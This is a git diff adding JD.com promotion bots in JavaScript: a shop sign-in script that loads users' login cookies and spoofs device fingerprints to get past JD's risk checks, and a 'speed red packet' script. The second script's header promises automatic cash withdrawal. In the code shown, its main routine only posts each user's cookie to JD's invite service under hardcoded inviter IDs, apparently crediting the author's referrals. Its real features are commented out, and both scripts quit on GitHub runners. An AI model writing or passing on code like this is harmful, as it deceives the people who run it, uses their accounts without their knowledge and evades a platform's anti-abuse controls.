text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'Host': `sendbeans.jd.com`, + "Referer": "https://sendbeans.jd.com/jump/index/", + "User-Agent": $.UA, + } + } + // console.log(options); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 签到: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (Number(data.jdBeanQuantity) > 0) beanNum += Number(data.jdBeanQuantity) + signFlag = true; + console.log(`${turnTableId[i].name} 签到成功:获得 ${Number(data.jdBeanQuantity)}京豆`) + } else { + if (data.errorMessage) { + if (data.errorMessage.indexOf('已签到') > -1 || data.errorMessage.indexOf('今天已经签到') > -1) { + signFlag = true; + } + console.log(`${turnTableId[i].name} ${data.errorMessage}`) + } else { + console.log(`${turnTableId[i].name} ${JSON.stringify(data)}`) + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function Login(i) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}/api/turncard/chat/detail?turnTableId=${turnTableId[i].id}&shopId=${turnTableId[i].shopid}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'Host': `sendbeans.jd.com`, + "Referer": "https://sendbeans.jd.com/jump/index/", + "User-Agent": $.UA, + } + } + // console.log(options); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + console.log(`${JSON.stringify(err)}`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (!data.hasSign) { + let arr = await Faker.getBody(UA, turnTableId[i].url) + fp = arr.fp + await getEid(arr) + await Sign(i) + } else { + if (data.records && data.records[0]) { + for (let i in data.records) { + let item = data.records[i] + if ((item.hasSign == false && item.index != 1) || i == data.records.length - 1) { + if (item.hasSign == false) i = i - 1 + beanNum += Number(data.records[i].beanQuantity) + break; + } + } + } + signFlag = true; + console.log(`${turnTableId[i].name} 已签到`) + } + } else { + if (data.errorMessage) { + if (data.errorMessage.indexOf('已签到') > -1 || data.errorMessage.indexOf('今天已经签到') > -1) { + signFlag = true; + } + console.log(`${turnTableId[i].name} ${data.errorMessage}`) + } else { + console.log(`${turnTableId[i].name} ${JSON.stringify(data)}`) + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function getUA() { + $.UA = `jdapp;iPhone;10.1.0;14.3;${$.UUID};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} + +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_speed_redpocke.js b/jd_speed_redpocke.js new file mode 100644 index 0000000..d45d0e2 --- /dev/null +++ b/jd_speed_redpocke.js @@ -0,0 +1,528 @@ +/* +京东极速版红包 +自动提现微信现金 +更新时间:2021-8-2 +活动时间:2021-4-6至2021-5-30 +活动地址:https://prodev.m.jd.com/jdlite/active/31U4T6S4PbcK83HyLPioeCWrD63j/index.html +活动入口:京东极速版-领红包 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东极速版红包 +20 0,22 * * * jd_speed_redpocke.js, tag=京东极速版红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 0,22 * * *" script-path=jd_speed_redpocke.js,tag=京东极速版红包 + +===============Surge================= +京东极速版红包 = type=cron,cronexp="20 0,22 * * *",wake-system=1,timeout=3600,script-path=jd_speed_redpocke.js + +============小火箭========= +京东极速版红包 = type=cron,script-path=jd_speed_redpocke.js, cronexpr="20 0,22 * * *", timeout=3600, enable=true +*/ +const $ = new Env('京东极速版红包'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = '', message; +const linkIdArr = ["7ya6o83WSbNhrbYJqsMfFA"]; +const signLinkId = '9WA12jYGulArzWS7vcrwhw'; +let linkId; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + console.log(`\n如提示活动火爆,可再执行一次尝试\n`); + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + for (let j = 0; j < linkIdArr.length; j++) { + linkId = linkIdArr[j] + await jsRedPacket() + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jsRedPacket() { + try { + await invite2(); + // await sign();//极速版签到提现 + // await reward_query(); + // for (let i = 0; i < 3; ++i) { + // await redPacket();//开红包 + // await $.wait(2000) + // } + // await getPacketList();//领红包提现 + // await signPrizeDetailList(); + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + return new Promise(resolve => { + if (message) $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} +async function sign() { + return new Promise(resolve => { + const body = {"linkId":signLinkId,"serviceName":"dayDaySignGetRedEnvelopeSignService","business":1}; + const options = { + url: `https://api.m.jd.com`, + body: `functionId=apSignIn_day&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + "Host": "api.m.jd.com", + 'Origin': 'https://daily-redpacket.jd.com', + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": "jdltapp;iPhone;3.3.2;14.5.1network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/467.11;apprpd/MyJD_Main;", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", + 'Referer': `https://daily-redpacket.jd.com/?activityId=${signLinkId}`, + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.retCode === 0) { + message += `极速版签到提现:签到成功\n`; + console.log(`极速版签到提现:签到成功\n`); + } else { + console.log(`极速版签到提现:签到失败:${data.data.retMessage}\n`); + } + } else { + console.log(`极速版签到提现:签到异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function reward_query() { + return new Promise(resolve => { + $.get(taskGetUrl("spring_reward_query", { + "inviter": ["HXZ60he5XxG8XNUF2LSrZg"][Math.floor((Math.random() * 1))], + linkId + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + + } else { + console.log(data.errMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function redPacket() { + return new Promise(resolve => { + $.get(taskGetUrl("spring_reward_receive",{"inviter":["HXZ60he5XxG8XNUF2LSrZg"][Math.floor((Math.random() * 1))], linkId}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data.received.prizeType !== 1) { + message += `获得${data.data.received.prizeDesc}\n` + console.log(`获得${data.data.received.prizeDesc}`) + } else { + console.log("获得优惠券") + } + } else { + console.log(data.errMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getPacketList() { + return new Promise(resolve => { + $.get(taskGetUrl("spring_reward_list",{"pageNum":1,"pageSize":100,linkId,"inviter":""}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + for(let item of data.data.items.filter(vo => vo.prizeType===4)){ + if(item.state===0){ + console.log(`去提现${item.amount}微信现金`) + message += `提现${item.amount}微信现金,` + await cashOut(item.id,item.poolBaseId,item.prizeGroupId,item.prizeBaseId) + } + } + } else { + console.log(data.errMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function signPrizeDetailList() { + return new Promise(resolve => { + const body = {"linkId":signLinkId,"serviceName":"dayDaySignGetRedEnvelopeSignService","business":1,"pageSize":20,"page":1}; + const options = { + url: `https://api.m.jd.com`, + body: `functionId=signPrizeDetailList&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + "Host": "api.m.jd.com", + 'Origin': 'https://daily-redpacket.jd.com', + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": "jdltapp;iPhone;3.3.2;14.5.1network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/467.11;apprpd/MyJD_Main;", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", + 'Referer': `https://daily-redpacket.jd.com/?activityId=${signLinkId}`, + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.code === 0) { + const list = (data.data.prizeDrawBaseVoPageBean.items || []).filter(vo => vo['prizeType'] === 4 && vo['prizeStatus'] === 0); + for (let code of list) { + console.log(`极速版签到提现,去提现${code['prizeValue']}现金\n`); + message += `极速版签到提现,去提现${code['prizeValue']}微信现金,` + await apCashWithDraw(code['id'], code['poolBaseId'], code['prizeGroupId'], code['prizeBaseId']); + } + } else { + console.log(`极速版签到查询奖品:失败:${JSON.stringify(data)}\n`); + } + } else { + console.log(`极速版签到查询奖品:异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId) { + return new Promise(resolve => { + const body = { + "linkId": signLinkId, + "businessSource": "DAY_DAY_RED_PACKET_SIGN", + "base": { + "prizeType": 4, + "business": "dayDayRedPacket", + "id": id, + "poolBaseId": poolBaseId, + "prizeGroupId": prizeGroupId, + "prizeBaseId": prizeBaseId + } + } + const options = { + url: `https://api.m.jd.com`, + body: `functionId=apCashWithDraw&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + "Host": "api.m.jd.com", + 'Origin': 'https://daily-redpacket.jd.com', + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": "jdltapp;iPhone;3.3.2;14.5.1network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/467.11;apprpd/MyJD_Main;", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", + 'Referer': `https://daily-redpacket.jd.com/?activityId=${signLinkId}`, + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.status === "310") { + console.log(`极速版签到提现现金成功!`) + message += `极速版签到提现现金成功!`; + } else { + console.log(`极速版签到提现现金:失败:${JSON.stringify(data)}\n`); + } + } else { + console.log(`极速版签到提现现金:异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function cashOut(id,poolBaseId,prizeGroupId,prizeBaseId,) { + let body = { + "businessSource": "SPRING_FESTIVAL_RED_ENVELOPE", + "base": { + "id": id, + "business": null, + "poolBaseId": poolBaseId, + "prizeGroupId": prizeGroupId, + "prizeBaseId": prizeBaseId, + "prizeType": 4 + }, + linkId, + "inviter": "" + } + return new Promise(resolve => { + $.post(taskPostUrl("apCashWithDraw",body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + console.log(`提现零钱结果:${data}`) + data = JSON.parse(data); + if (data.code === 0) { + if (data['data']['status'] === "310") { + console.log(`提现成功!`) + message += `提现成功!\n`; + } else { + console.log(`提现失败:${data['data']['message']}`); + message += `提现失败:${data['data']['message']}`; + } + } else { + console.log(`提现异常:${data['errMsg']}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function invite2() { + let inviterIdArr = [ + "5V7vHE23qh2EkdBHXRFDuA==", + "wXX9SjXOdYMWe5Ru/1+x9A==", + "4AVQao+eH8Q8kvmXnWmkG8ef/fNr5fdejnD9+9Ugbec=", + "jbGBRBPo5DmwB9ntTCSVOGXuh1YQyccCuZpWwb3PlIc=", + "DuqL56/3h17VpbHIW+v8uJRRyPL6k9E1Hu5UhCyHw/s=", + ] + let inviterId = inviterIdArr[Math.floor((Math.random() * inviterIdArr.length))] + let options = { + url: "https://api.m.jd.com/", + body: `functionId=TaskInviteService&body=${JSON.stringify({"method":"participateInviteTask","data":{"channel":"1","encryptionInviterPin":encodeURIComponent(inviterId),"type":1}})}&appid=market-task-h5&uuid=&_t=${Date.now()}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://assignment.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://assignment.jd.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.post(options, (err, resp, data) => { + // console.log(data) + }) +} + +function taskPostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/`, + body: `appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + // 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'user-agent': "jdltapp;iPhone;3.3.2;14.3;b488010ad24c40885d846e66931abaf532ed26a5;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/2005183373;hasOCPay/0;appBuild/1049;supportBestPay/0;pv/220.46;apprpd/;ref/JDLTSubMainPageViewController;psq/0;ads/;psn/b488010ad24c40885d846e66931abaf532ed26a5|520;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1618673222002|1618673227;adk/;app_device/IOS;pap/JA2020_3112531|3.3.2|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1 ", + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded", + "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" + } + } +} + + +function taskGetUrl(function_id, body) { + return { + url: `https://api.m.jd.com/?appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded", + "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 